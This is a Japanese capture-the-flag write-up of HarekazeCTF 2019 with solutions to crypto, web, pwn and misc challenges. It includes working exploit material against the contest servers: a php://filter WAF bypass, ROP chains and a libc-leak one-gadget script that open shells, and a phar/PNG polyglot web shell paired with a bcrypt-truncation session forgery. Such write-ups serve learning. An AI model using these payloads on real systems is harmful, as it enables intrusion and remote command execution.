https://harekaze.com/ctf/2019.html
https://harekaze.com/ctf/2019-result.html
https://github.com/TeamHarekaze/HarekazeCTF2019-challenges
チームsuperflipは、1410点で15位。もう少し解きたかった。
http://problem.harekaze.com:????/ はHTTPしかないのに、 https://harekaze.com/ がHSTSを設定してくるから、うっかり見に行くとその度にHSTSを削除しないといけない(途中で問題文にIPアドレスのURLが追加された)。
1. Welcome (Misc, 10 points)
Harekaze CTF 2019へようこそ! 楽しんでいただければ幸いです。フラグは
HarekazeCTF{Thank_you_for_participating_in_Harekaze_CTF_2019}
です。
HarekazeCTF{Thank_you_for_participating_in_Harekaze_CTF_2019}
4. One Quadrillion (Crypto, 200 points)
解けなかった。
HarekazeCTF 2019、Cryptoを解きました
— narypto (@narypto) 2019年5月19日
ONCE UPON A TIME: 2通りずつ試してasciiチェック
Twenty-five: 予約語と照らし合わせながら1文字種ずつ復号
show me your private key: 素因数分解→mod p/mod qでe乗根→CRT
Now We Can Play!!: やるだけ
One Quadrillion: Length Extension Attack
Length extension attackか。一瞬頭に浮かんだ覚えがある。なぜ切り捨ててしまったのか。
せっかく法が合成数のmodの除算とかを実装したので、作りかけのコードを置いておく。0
と1
のときで、ソルトの上位6桁と直前のv
が共通だから、それぞれ候補を列挙して積集合をとって、どうこうという想定。ソルトが64ビット整数程度なら何かゴリ押す手もあるかと思ったが、公開された問題を見ると、44桁の文字列だった。厳しい。
# x,y,d = exgcd(m, n)
# x*m+y*n = d = gcd(m, n)
def exgcd(m, n):
if n>0:
y,x,d = exgcd(n, m%n)
return x, y-m/n*x, d
else:
return 1, 0, m
M = 10000000
# a/b
def div(a, b):
x, y, d = exgcd(b, M)
# x*b==d (mod 10^7)
r = []
if a%d==0:
for i in range(d):
r += [(x*(a/d)+(M/d)*i)%M]
return r
t = [
5676567, 858051, 5476703, 265259,
4058727, 5112531, 964143, 1099579,
8277687, 8717411, 2022783, 7207499,
1997447, 5864691, 828623, 3917019]
i=3
# 0
v = [5998685, 4175985, 6599920, 1814640]
# 1
# v = [8927005, 8290097, 3112880, 4742960]
d = v[3]
pv = [0]*4
pv[1] = (v[0]-d)%M
for salt in range(1000000, 10000000):
for pv[3] in div(v[2], d):
# (d|pv[2])%M==v[1]
# v[1]のビットの部分集合を列挙
for j in range(3):
pv[2] = v[1]+M*j
while True:
a = pv[1+(i+0)%3]
b = pv[1+(i+1)%3]
c = pv[1+(i+2)%3]
if (a*b+b*c+c*(salt)^t[i%16])%M==d:
print salt, pv
if pv[2]==0:
break
pv[2] = (pv[2]-1)&(v[1]+M*j)
13. ONCE UPON A TIME (Crypto, 100 points)
5x5行列を、乱数によって左か右かから掛けて暗号化している。関数takenoko
は行列積。逆行列を計算して、両方試せば良い。
m2 = [[1,3,2,9,4], [0,2,7,8,4], [3,4,1,9,4], [6,5,3,-1,4], [1,4,5,3,5]]
M = []
for i in range(5):
M += [m2[i]+[int(j==i) for j in range(5)]]
for i in range(5):
assert M[i][i]!=0
d = pow(M[i][i], 251-2, 251)
for j in range(10):
M[i][j] = M[i][j]*d
M[i][j] %= 251
for j in range(5):
if j!=i:
t = M[j][i]
for k in range(10):
M[j][k] -= M[i][k]*t
M[j][k] %= 251
inv = []
for i in range(5):
inv += [M[i][5:]]
result = "ea5929e97ef77806bb43ec303f304673de19f7e68eddc347f3373ee4c0b662bc37764f74cbb8bb9219e7b5dbc59ca4a42018"
result = map(ord, result.decode("hex"))
def takenoko(X, Y):
W = [[0,0,0,0,0],[0,0,0,0,0],[0,0,0,0,0],[0,0,0,0,0],[0,0,0,0,0]]
for i in range(5):
for j in range(5):
for k in range(5):
W[i][j] = (W[i][j] + X[i][k] * Y[k][j]) % 251
return W
for i in range(0, len(result), 25):
R = []
for j in range(0, 25, 5):
R += [result[i+j:i+j+5]]
F1 = takenoko(R, inv)
F2 = takenoko(inv, R)
print "".join(["".join(map(chr, f)) for f in F1])
print "".join(["".join(map(chr, f)) for f in F2])
M[i][i]==0
のときに他の行を持ってくる処理は端折っている。
Op3n_y0ur_3y3s_1ook_up_t0
qPワkQ「nH3fCワkVヨ敎迢r
_th3_ski3s_4nd_s33%%%%%%%
眈リ・+」ツオ饕ユG\dHKレCノ
HarekazeCTF{Op3n_y0ur_3y3s_1ook_up_t0_th3_ski3s_4nd_s33}
16. Encode & Encode (Web, 100 points)
つよいWAFを作りました! これならフラグは読めないはず!
<?php
error_reporting(0);
if (isset($_GET['source'])) {
show_source(__FILE__);
exit();
}
function is_valid($str) {
$banword = [
// no path traversal
'\.\.',
// no stream wrapper
'(php|file|glob|data|tp|zip|zlib|phar):',
// no data exfiltration
'flag'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}
$body = file_get_contents('php://input');
$json = json_decode($body, true);
if (is_valid($body) && isset($json) && isset($json['page'])) {
$page = $json['page'];
$content = file_get_contents($page);
if (!$content || !is_valid($content)) {
$content = "<p>not found</p>\n";
}
} else {
$content = '<p>invalid request</p>';
}
// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{<censored>}', $content);
echo json_encode(['content' => $content]);
Dockerfileによると、フラグは/flag
にある。
php://filter/convert.base64-encode/resource=/flag
でフラグを読みこめば最後のpreg_replace
は回避できる。が、「つよいWAF」が厳しい。なぜ解いているチームが多いんだ……と思ったら、is_valid
は$page
ではなく$body
が引数だった。簡単。
$ curl -d '{"page": "\u0070hp://filter/convert.base64-encode/resource=/\u0066lag"}' http://problem.harekaze.com:10001/query.php
{"content":"SGFyZWthemVDVEZ7dHVydXRhcmFfdGF0dGF0dGFfcml0dGF9Cg=="}
$ echo "SGFyZWthemVDVEZ7dHVydXRhcmFfdGF0dGF0dGFfcml0dGF9Cg==" | base64 -d
HarekazeCTF{turutara_tattatta_ritta}
HarekazeCTF{turutara_tattatta_ritta}
19. Baby ROP (Pwn, 100 points)
お子様向けROP。スタックカナリアもいないし、PICが有効ではない(アドレスがランダム化されない)し、system
も/bin/sh
も実行ファイル中に存在する。これは簡単。
:
00000000004005d6 <main>:
4005d6: 55 push rbp
4005d7: 48 89 e5 mov rbp,rsp
4005da: 48 83 ec 10 sub rsp,0x10
4005de: bf a8 06 40 00 mov edi,0x4006a8
4005e3: e8 a8 fe ff ff call 400490 <system@plt>
4005e8: 48 8d 45 f0 lea rax,[rbp-0x10]
4005ec: 48 89 c6 mov rsi,rax
4005ef: bf c5 06 40 00 mov edi,0x4006c5
4005f4: b8 00 00 00 00 mov eax,0x0
4005f9: e8 c2 fe ff ff call 4004c0 <__isoc99_scanf@plt>
4005fe: 48 8d 45 f0 lea rax,[rbp-0x10]
400602: 48 89 c6 mov rsi,rax
400605: bf c8 06 40 00 mov edi,0x4006c8
40060a: b8 00 00 00 00 mov eax,0x0
40060f: e8 8c fe ff ff call 4004a0 <printf@plt>
400614: b8 00 00 00 00 mov eax,0x0
400619: c9 leave
40061a: c3 ret
40061b: 0f 1f 44 00 00 nop DWORD PTR [rax+rax*1+0x0]
:
入力は$rbp-0x10
に読みこまれ、$rbp+0x08
がリターンアドレス。
gdb-pedaで開き、sytem
関数を呼ぶのでset follow-fork-mode parent
で親プロセスを追跡するようにして、一旦実行して止め、dumprop
。
gdb-peda$ dumprop
Warning: this can be very slow, do not run for large memory range
Writing ROP gadgets to file: babyrop-rop.txt ...
0x40066f: ret
0x4005aa: repz ret
0x400619: leave; ret
0x400540: pop rbp; ret
0x400683: pop rdi; ret
0x400682: pop r15; ret
0x400683
にpop rdi; ret
がある。ということで、スタックを下記の状態にすれば良い。
addr | content | desc |
---|---|---|
$rbp-0x10 |
6161616161616161 |
aaaaaaaa |
$rbp-0x08 |
6161616161616161 |
aaaaaaaa |
$rbp+0x00 |
6161616161616161 |
aaaaaaaa |
$rbp+0x08 |
400683 |
pop rdi; ret のアドレス |
$rbp+0x10 |
601048 |
/bin/sh のアドレス( rdi に入る) |
$rbp+0x18 |
400490 |
system のアドレス |
スクリプトを書く必要も無い。
$ hexdump -C attack.bin
00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 |aaaaaaaaaaaaaaaa|
00000010 61 61 61 61 61 61 61 61 83 06 40 00 00 00 00 00 |aaaaaaaa..@.....|
00000020 48 10 60 00 00 00 00 00 90 04 40 00 00 00 00 00 |H.`.......@.....|
00000030 0a |.|
00000031
$ cat attack.bin - | nc problem.harekaze.com 20001
What's your name? ls -al /home
total 12
drwxr-xr-x 1 root root 4096 May 10 13:57 .
drwxr-xr-x 1 root root 4096 May 18 06:34 ..
drwxr-xr-x 1 root root 4096 May 17 16:05 babyrop
ls -al /home/babyrop
total 36
drwxr-xr-x 1 root root 4096 May 17 16:05 .
drwxr-xr-x 1 root root 4096 May 10 13:57 ..
-rw-r--r-- 1 root root 220 Aug 31 2015 .bash_logout
-rw-r--r-- 1 root root 3771 Aug 31 2015 .bashrc
-rw-r--r-- 1 root root 655 May 16 2017 .profile
-rwxr-xr-x 1 root root 8752 May 17 16:03 babyrop
-rw-r--r-- 1 root root 61 May 17 16:03 flag
cat /home/babyrop/flag
HarekazeCTF{r3turn_0r13nt3d_pr0gr4mm1ng_i5_3ss3nt141_70_pwn}
exit
HarekazeCTF{r3turn_0r13nt3d_pr0gr4mm1ng_i5_3ss3nt141_70_pwn}
31. Baby ROP 2 (Pwn, 200 points)
system
と/bin/sh
が消えて、ちょっと難しくなった。printf
などを使って、.got.plt
に格納されているlibcの関数のアドレスを出力させ、そのアドレスからlibcが配置されているアドレスを特定し、libc中のOne-gadget RCE(そこに飛ばすとsystem("/bin/sh")
が実行される)のアドレスを計算して、飛ばす。
1回目のROPではスタックを下記の状態にして、printf(printf)
を実行して、main
に戻る。printf
はアドレスの下位1バイトがちょうど00
で使えなかったので、read
にした。
addr | content | desc |
---|---|---|
$rbp+0x08 |
400733 |
pop rdi; ret |
$rbp+0x10 |
601020 |
.got.plt のread
|
$rbp+0x18 |
4004f0 |
printf |
$rbp+0x20 |
400636 |
main |
2回目は、
addr | content | desc |
---|---|---|
$rbp+0x08 |
???????? |
One-gadget RCE |
$rbp+0x10 |
00000... |
One-gadget RCEの条件 |
from time import *
from socket import *
from struct import *
from telnetlib import *
s = socket(AF_INET, SOCK_STREAM)
s.connect(("problem.harekaze.com", 20005))
sleep(1)
print s.recv(999)
s.send(
"a"*0x28 +
pack("<Q", 0x400733) +
#pack("<Q", 0x601018) + # printf
pack("<Q", 0x601020) + # read
pack("<Q", 0x4004f0) +
pack("<Q", 0x400636) +
"\n")
sleep(1)
t = s.recv(999)
print repr(t)
read = t[t.index("!\n")+2:t.index("What's")]
read += "\x00"*(8-len(read))
read = unpack("<Q", read)[0]
print "read: %08x"%read
rce = read - 0xf7250 + 0x4526a
print "rce: %08x"%rce
s.send(
"a"*0x28 +
pack("<Q", rce) +
"\x00"*0x38 +
"\n")
t = Telnet()
t.sock = s
t.interact()
What's your name?
"Welcome to the Pwn World again, aaaaaaaaaaaaaaaaaaaaaaaaaaaaI!\nP\x92\x95\xb9\xb7\x7fWhat's your name? "
read: 7fb7b9959250
rce: 7fb7b98a726a
Welcome to the Pwn World again, aaaaaaaaaaaaaaaaaaaaaaaaaaaai!
id
uid=1000(babyrop2) gid=1000(babyrop2) groups=1000(babyrop2)
cat /home/babyrop2/flag
HarekazeCTF{u53_b55_53gm3nt_t0_pu7_50m37h1ng}
想定解(?)のBSSセグメントの使い道は何なんだろう。
HarekazeCTF{u53_b55_53gm3nt_t0_pu7_50m37h1ng}
37. The Steganography Generator (Reversing, 200 points)
Java でステガノグラフィーツールを作りました!
JAR ファイルが簡単にデコンパイルできることは知っていますが、パスワード保護システムがうまくファイルを守ってくれると信じています…。
ちょっと読んだけれど解けなかった。パスワードをシードとして乱数を初期化し、埋め込む文字列ごとに埋め込むx座標を乱数で算出している。
:
for (int i = 0; i < this.payload.length; i++)
{
int seed = password.codePointAt(i % password.length());
seed ^= i * i * password.codePointAt((i + password.length() - 1) % password.length());
Random rnd = new Random(seed);
:
こんなことをやっていて、最初の8バイトは定数MAGIC_NUMBER
だから、パスワードの各文字が逆算できるのかな。
40. Twenty-five (Crypto, 100 points)
With “ppencode”, you can write Perl code using only Perl reserved words.
単一換字式暗号で暗号化しppencodeされたプログラム。ご丁寧に予約語一覧も付いている。
「問題のプログラム中にoo
がある。同一の文字が繰り返される予約語はQQ
しかない」みたいな感じで手作業で頑張った。
単一換字式暗号を復号したものをそのまま実行しても何も出力されなくて、ppencodeを戻そうと、整形していたらフラグが出力された。整形に意味は無くて、改行を空白に置換すれば良かったらしい。perlは改行が単に空白文字の言語だと思うけれど、複数行文字列でもあったのだろうか。
HarekazeCTF{en.wikipedia.org/wiki/Frequency_analysis}
43. show me your private key (Crypto, 200 points)
I’ve exposed my private key… police is coming…
Coinhiveとか無限ループとかあったけど、自分の秘密鍵を晒して、お縄になったことあったっけ?w
from Crypto.Util.number import getPrime, bytes_to_long
from secret import flag
Gx = bytes_to_long(flag[len(flag)//2:])
Gy = bytes_to_long(flag[:len(flag)//2])
def getC2Prime(kbits):
while True:
p = getPrime(kbits)
if p % 3 == 2:
break
return p
def gen_key(kbits):
p = getC2Prime(kbits//2)
q = getC2Prime(kbits//2)
return 65537, p, q
e, p, q = gen_key(512)
d = inverse_mod(e, (p-1)*(q-1))
n = p*q
print "[+] (n, e, d) :", (n, e, d)
b = (pow(Gy, 2, n) - pow(Gx, 3, n)) % n
EC = EllipticCurve(Zmod(n), [0, b])
G = EC(Gx, Gy)
Cx, Cy = (e*G).xy()
print "[+] Cx:", Cx
print "[+] Cy:", Cy
楕円曲線の法をRSAのn
にした暗号。
HarekazeCTF 2019、Cryptoを解きました
— narypto (@narypto) 2019年5月19日
ONCE UPON A TIME: 2通りずつ試してasciiチェック
Twenty-five: 予約語と照らし合わせながら1文字種ずつ復号
show me your private key: 素因数分解→mod p/mod qでe乗根→CRT
Now We Can Play!!: やるだけ
One Quadrillion: Length Extension Attack
show me your private keyの作問者です。 CRTでも解けるんですが、一応想定解(?)としてはこちらの方のwriteupが非常に参考になります。https://t.co/T0v2kHaTUz
— ゆうけむ (@ykm_kn) 2019年5月19日
「RSA要素を何も使っていないから、想定解ではない気がするなぁ」と思いながら解いた。やっぱり想定解法ではなかったw
この問題の楕円曲線は$y^2=x^3+b$である。$b=Gy^2-Gx^3$とすることで、点$(Gx, Gy)$が楕円曲線上にあることを保障している。楕円曲線上の点$(Cx, Cy)$が与えられるので、$b$は計算できる。ところで、この問題における$n$は1024ビット、$Gx$はフラグの半分。$Gx^3$が$n$の影響を受けるには、$Gx$は341ビット必要。42バイト。84文字なんて長いフラグある?
ということで、b
からGx
とGy
を求められた。2乗と3乗の違いから、-b
の3乗根を求めれば、ほぼGx
になる。後はGx
をちょっと修正して、Gy
を求めれば良い。e
が小さなRSA暗号で、短い平文をパディングせずに暗号化すると、同じ脆弱性が生まれる。
(n, e, d) = (9799080661501467884467225188078342742766492539290954649052326288545249523485259554498055327101620585612049935019772095457875188392850174807669467113561703L, 65537, 357800937225887859492043729115941745631326069953205890949878950951199812467762505076908807818483545413271956081271375834809278508559178715879283048960953)
Cx = 4143446088312921816758362264853048120154280049677909632349103364802575463576509561464947871773793787896063253331418475283720886100034333135184249344102365
Cy = 8384037709829308179633895299138296616530497125381624381678499818112417287445046103971322133573513084823937517071462947639275474462359445732327289575301489
# return x s.t. x**n=y
def root(y, n):
l = 0
r = y
while r-l>1:
m = (l+r)/2
if m**n<=y:
l = m
else:
r = m
return l
# y**2 = x**3 + b
b = (Cy**2-Cx**3)%n
Gx3 = -b%n
Gx = root(Gx3, 3)
print hex(Gx)[2:-1].decode("hex") # 3_with_a_las3r_b3am|
Gx = int("3_with_a_las3r_b3am}".encode("hex"), 16)
Gy2 = (b+Gx**3)%n
Gy = root(Gy2, 2)
print hex(Gy)[2:-1].decode("hex") + hex(Gx)[2:-1].decode("hex")
HarekazeCTF{dynamit3_with_a_las3r_b3am}
46. [a-z().] (Misc, 200 points)
解けなかった。
:
const code = req.query.code + '';
if (code && code.length < 200 && !/[^a-z().]/.test(code)) {
try {
const result = vm.runInNewContext(code, {}, { timeout: 500 });
if (result === 1337) {
output = process.env.FLAG;
:
条件が厳しすぎるから、サンドボックスの迂回でもするのかと思っていた。typeof(this)
やthis.toString()
で文字列が作れるし、"hoge".length
で整数が得られるし、"hoge".concat("fugafuga")
で(文字列長の)足し算ができるし、"hoge".repeat(3)
で掛け算もできるし、そういうので頑張るらしい。
49. Avatar Uploader 1 (Misc, 100 points)
アイコンをアップロードできるだけのAvatar Uploaderというサービスを作りました。アップローダーはPNG形式だけを受け付けるようにチェックをしているのですが、もしこのチェックを騙すことができればフラグを差し上げます。
:
// check file type
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$type = finfo_file($finfo, $_FILES['file']['tmp_name']);
finfo_close($finfo);
if (!in_array($type, ['image/png'])) {
error('Uploaded file is not PNG format.');
}
// check file width/height
$size = getimagesize($_FILES['file']['tmp_name']);
if ($size[0] > 256 || $size[1] > 256) {
error('Uploaded image is too large.');
}
if ($size[2] !== IMAGETYPE_PNG) {
// I hope this never happens...
error('What happened...? OK, the flag for part 1 is: <code>' . getenv('FLAG1') . '</code>');
}
:
finfo_fileがPNG形式と判断し、getimagesizeがPNG形式と判断しなければ良い。getimagesize
が他の画像形式と判断する必要は無く、エラーでも良い。$size
がFALSE
でも、$size[0] > 256 || $size[1] > 256
は通る。
真面目にPHPのソースコードを読んでいてつらくなって、適当にPNGを切ったら通った。ファイルの種別を判断するだけと、画像のサイズを取得することの差か。
00000000 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 |.PNG........IHDR|
00000010
HarekazeCTF{seikai_wa_hitotsu!janai!!}
52. Avatar Uploader 2 (Web, 300 points)
Solved: 11。朝まで掛かったけれど、これが解けたのは嬉しい。
問題ファイルやサーバーは1と同じ。
アイコンをアップロードできるだけのAvatar Uploaderというサービスを作りました。もしよかったら脆弱性がないか確認していただけませんか。
後からこのヒントが追加された。
ヒントが言っているのはこの部分。
private function verify($string, $signature) {
return password_verify($this->secret . $string, $signature);
}
private function sign($string) {
return password_hash($this->secret . $string, PASSWORD_BCRYPT);
}
}
セッションは、
{"theme":"dark","name":"kusano","flash":{"type":"error","message":"What happened...? OK, the flag for part 1 is: <code>HarekazeCTF{seikai_wa_hitotsu!janai!!}<\/code>"}}
こんな感じのJSONで、署名が72文字目までしか効かないので、72文字目以降は好きに改竄できる。同じ要素があると後のほうが優先されるようなので、theme
などを書き換えることも可能。
index.phpに、
<style>
/* common.css */
<?php include('common.css'); ?>
/* light/dark.css */
<?php include($session->get('theme', 'light') . '.css'); ?>
/**/
</style>
こういう処理があるから、任意の文字列+.css
をinclude
させることができる。やるだけかと思いきや、ここからが苦労した。アップローダーがあるので、好きなPNG形式(とfinfo_file
やgetimagesize
が判断する)の画像をアップロードすることができる。乱数+.png
で保存される。PHPスクリプトを書いて読みこませられれば勝ちなのだけど……。
- NUL文字で
.css
を無かったことに- → 今どきのPHPは対策済み
-
data://で、
data://text/plain,<?php hoge ?>.css
- →
allow_url_include
はoff
- →
-
php://で、
php://filter//resource=uploads/01234567.png/hogehoge=.css
- →
uploads/01234567.png/hogehoge=.css
を読もうとしてエラー
- →
-
zip://uploads/01234567.png#attack.css
- →
zip://
が有効になっていない
- →
pharでいけた。先頭がPHPファイルだから、<?php
が出てくるまで好きなデータが書けるらしい。
nullcon HackIM CTF 2019 Web Challenges
<?php
class Hoge {}
$png = file_get_contents("mezamashi_s.png");
$phar = new Phar("attack.png.phar");
$phar->startBuffering();
$phar->addFromString("attack.css", 'hoge<?php passthru($_GET["cmd"]);?>fuga');
$phar->setStub($png."<?php __HALT_COMPILER(); ?>");
$o = new Hoge();
$phar->setMetadata($o);
$phar->stopBuffering();
で、PNGファイルとしても読め、pharとしてattack.css
を読むとhoge<?php passthru($_GET["cmd"]);?>fuga
になるファイルができる。
>>> x = r'{"theme":"dark","name":"kusano","flash":{"type":"error","message":"What happened...? OK, the flag for part 1 is: <code>HarekazeCTF{seikai_wa_hitotsu!janai!!}<\/code>"},"theme":"phar://uploads/54d72c05.png/attack"}'
>>> print x.encode("base64").replace("\n","").replace("+","-").replace("/","_").replace("=","")+".JDJ5JDEwJFFlYzdKU1cyVWkvdlhQSldSa21KbWVwL1pJMlZqd3VXTjFXd0NOeUd1ZmdMVmNyT21EMnRT"
eyJ0aGVtZSI6ImRhcmsiLCJuYW1lIjoia3VzYW5vIiwiZmxhc2giOnsidHlwZSI6ImVycm9yIiwibWVzc2FnZSI6IldoYXQgaGFwcGVuZWQuLi4_IE9LLCB0aGUgZmxhZyBmb3IgcGFydCAxIGlzOiA8Y29kZT5IYXJla2F6ZUNURntzZWlrYWlfd2FfaGl0b3RzdSFqYW5haSEhfTxcL2NvZGU-In0sInRoZW1lIjoicGhhcjovL3VwbG9hZHMvNTRkNzJjMDUucG5nL2F0dGFjayJ9.JDJ5JDEwJFFlYzdKU1cyVWkvdlhQSldSa21KbWVwL1pJMlZqd3VXTjFXd0NOeUd1ZmdMVmNyT21EMnRT
このセッションをセットして、 http://problem.harekaze.com:10002/?cmd=ls%20-l%20/ を読むと、
/* light/dark.css */
hogetotal 76
drwxr-xr-x 1 root root 4096 May 8 02:37 bin
drwxr-xr-x 2 root root 4096 Mar 28 09:12 boot
drwxr-xr-x 5 root root 340 May 18 13:01 dev
drwxr-xr-x 1 root root 4096 May 18 13:01 etc
-rwxr-xr-x 1 root root 34 May 18 05:32 flag2-9ce58aa0d976cdbb
drwxr-xr-x 2 root root 4096 Mar 28 09:12 home
drwxr-xr-x 1 root root 4096 May 8 02:30 lib
drwxr-xr-x 2 root root 4096 May 6 00:00 lib64
drwxr-xr-x 2 root root 4096 May 6 00:00 media
drwxr-xr-x 2 root root 4096 May 6 00:00 mnt
drwxr-xr-x 2 root root 4096 May 6 00:00 opt
dr-xr-xr-x 349 root root 0 May 18 13:01 proc
drwx------ 1 root root 4096 May 8 02:41 root
drwxr-xr-x 1 root root 4096 May 8 02:37 run
drwxr-xr-x 1 root root 4096 May 8 02:37 sbin
drwxr-xr-x 2 root root 4096 May 6 00:00 srv
dr-xr-xr-x 13 root root 0 May 17 15:47 sys
drwxrwxrwt 1 root root 4096 May 19 15:24 tmp
drwxr-xr-x 1 root root 4096 May 6 00:00 usr
drwxr-xr-x 1 root root 4096 May 8 02:30 var
fuga/**/
http://problem.harekaze.com:10002/?cmd=cat%20/flag2-9ce58aa0d976cdbb で、
/* light/dark.css */
hogeHarekazeCTF{lfi_with_phar_is_fun}
fuga/**/
手作業でやっていたけど、大量に画像をアップロードしている人がいるのか、消して回っている人がいるのか、アップロードした画像がしょっちゅう消える。自動化するべきだった。
HarekazeCTF{lfi_with_phar_is_fun}
58. Now We Can Play!!
It is just a simple cryptography game. When you get a flag, YOU WIN!!
# !/usr/bin/python3
from Crypto.Util.number import *
from Crypto.Random.random import randint
from keys import flag
def genKey(k):
p = getStrongPrime(k)
g = 2
x = randint(2, p)
h = pow(g, x, p)
return (p, g, h), x
def encrypt(m, pk):
p, g, h = pk
r = randint(2, p)
c1 = pow(g, r, p)
c2 = m * pow(h, r, p) % p
return c1, c2
def decrypt(c1, c2, pk, sk):
p = pk[0]
m = pow(3, randint(2**16, 2**17), p) * c2 * inverse(pow(c1, sk, p), p) % p
return m
def challenge():
pk, sk = genKey(1024)
m = bytes_to_long(flag)
c1, c2 = encrypt(m, pk)
print("Public Key :", pk)
print("Cipher text :", (c1, c2))
while True:
print("---"*10, "\n")
in_c1 = int(input("Input your ciphertext c1 : "))
in_c2 = int(input("Input your ciphertext c2 : "))
dec = decrypt(in_c1, in_c2, pk, sk)
print("Your Decrypted Message :", dec)
if __name__ == "__main__":
challenge()
複数回c1
とc2
を入力できるのに1回で解けたし、これも想定解法ではないのだろうか……?と思ったけど、作問者にも分からないらしいw
正直な話、なんで僕も復号オラクルがあったのかわからないですね…(2ヶ月ほど前に草案として適当に投げたやつがそのまま出てしまった)
— ゆうけむ (@ykm_kn) 2019年5月19日
当時の僕は何か考えがあったんだと思います…(本当にすいません)
素数を法とする剰余環において、加算、減算、乗算、除算、指数演算は容易にできる。一方、対数は効率的に計算することができない(離散対数問題)。
$x$が秘密鍵、素数$p$、$g=2$、$h=g^x$が公開鍵。乱数$r$を生成して、$m$を暗号化する、すなわち$c1=g^r$と$c2=mh^r$を計算することは、公開鍵を知っていればできる。復号には$x$が必要。$\frac{c2}{c1^x}=\frac{mh^r}{g^{rx}}=\frac{mg^{xr}}{g^{rx}}=m$。この問題は復号もしてくれるものの、pow(3, randint(2**16, 2**17), p)
が掛けられた値が返ってくる。とはいえ、$2^{16}$通りしかないので、全通り試せば良い。3**1234
で割るには、pow(3**1234, p-2, p)
を掛ける。
('Public Key :', (129611465963576276175884704926659272830166848843117726813765952405011441153095544518370882403583907106289959590657076982812387742871049661594184116960088459582870149565315348397301486352187530672265603334586622171831488695588798232174923008229650443224146376154471702093416504001077807779638394326345495705979L, 2, 102415556349099650512587492236492899109076967367562710673261126251999604234860889251857369946556823858125217895211825291990706324702140575742783686918008322655668732971012026685006807894558005920398489914190228759561293771440039280949882993772226473245601689566995377706791416174787331323753769188850853810384L))
('Cipher text :', (69516126248410155154501752945225530512653830785471752785343749139365821737005927443120385411968796577504071681110776071830405348396836674008422344111671740191840405638399609058755397760132679235417224459276567798484169893761913477225865025728162221764595692032538605242107590658538196142635238805973508247673L, 38297890696902802168870262727365529660950106347283636109020715845656791368885186535949598501547598128217125535433219415030034629237647128489877684184961507813034776268194420434301487532601547119580076562347699320718610346226387907830164585184978473170540144902200352380036515106351243707526358572050493171627L))
('------------------------------', '\n')
Input your ciphertext c1 :
69516126248410155154501752945225530512653830785471752785343749139365821737005927443120385411968796577504071681110776071830405348396836674008422344111671740191840405638399609058755397760132679235417224459276567798484169893761913477225865025728162221764595692032538605242107590658538196142635238805973508247673
Input your ciphertext c2 :
38297890696902802168870262727365529660950106347283636109020715845656791368885186535949598501547598128217125535433219415030034629237647128489877684184961507813034776268194420434301487532601547119580076562347699320718610346226387907830164585184978473170540144902200352380036515106351243707526358572050493171627
('Your Decrypted Message :', 15012251594530353672790705878696438955882861148601367051265144550145568068509465526616321487480704727851923348848147594250557549394153846524512450248749483814258405873994138875524678908154746633767024055004797736430031099732977097918022312869432882614795005608361303537613123363152862353591980860851160662214L)
p,g,h = (129611465963576276175884704926659272830166848843117726813765952405011441153095544518370882403583907106289959590657076982812387742871049661594184116960088459582870149565315348397301486352187530672265603334586622171831488695588798232174923008229650443224146376154471702093416504001077807779638394326345495705979L, 2, 102415556349099650512587492236492899109076967367562710673261126251999604234860889251857369946556823858125217895211825291990706324702140575742783686918008322655668732971012026685006807894558005920398489914190228759561293771440039280949882993772226473245601689566995377706791416174787331323753769188850853810384L)
c1, c2 = (69516126248410155154501752945225530512653830785471752785343749139365821737005927443120385411968796577504071681110776071830405348396836674008422344111671740191840405638399609058755397760132679235417224459276567798484169893761913477225865025728162221764595692032538605242107590658538196142635238805973508247673L, 38297890696902802168870262727365529660950106347283636109020715845656791368885186535949598501547598128217125535433219415030034629237647128489877684184961507813034776268194420434301487532601547119580076562347699320718610346226387907830164585184978473170540144902200352380036515106351243707526358572050493171627L)
m = 15012251594530353672790705878696438955882861148601367051265144550145568068509465526616321487480704727851923348848147594250557549394153846524512450248749483814258405873994138875524678908154746633767024055004797736430031099732977097918022312869432882614795005608361303537613123363152862353591980860851160662214L
for r in range(2**16,2**17):
t = m * pow(pow(3,r,p),p-2,p)%p
t = hex(t)[2:-1]
if len(t)%2!=0:
t = "0"+t
print r, t.decode("hex")
83479 砧脆mM従VエリZ~m 「ャZエ畛lZ・ホlリZl瘍Zヨ・ホlルZ|ウヨホ[マe
83480 ル$W0B$o/ノ・r<H*$`69]<K$-V・H$K-Gヲ-V・HZ)賎・]W_嗹
83481 HarekazeCTF{im_caught_in_a_dr3am_and_m7_dr3ams_c0m3_tru3}
83482 {o^&"ャ[fP・x・ウ?Aa吶ェ・マ<D!アオウ i5'なハR嘘・;#W事゙・U>&。抱`/wモテ檳Gコナ・~70⇔!ヌT「早q・8ユ弩"。R{ア匚┤・フ、・・、i3N威ネム
83483 、・}・;ホテ3堽。5X・ラwレ8ン"・・G儷癧゚Yクnn嬬坙5дセm(カ・Rン`ラr?Joッ~・Bヨ3輙 滞).竜?OクE・M(。贒アЫホOV*7!柴・Wル`~uス3H蓿8・
HarekazeCTF{im_caught_in_a_dr3am_and_m7_dr3ams_c0m3_tru3}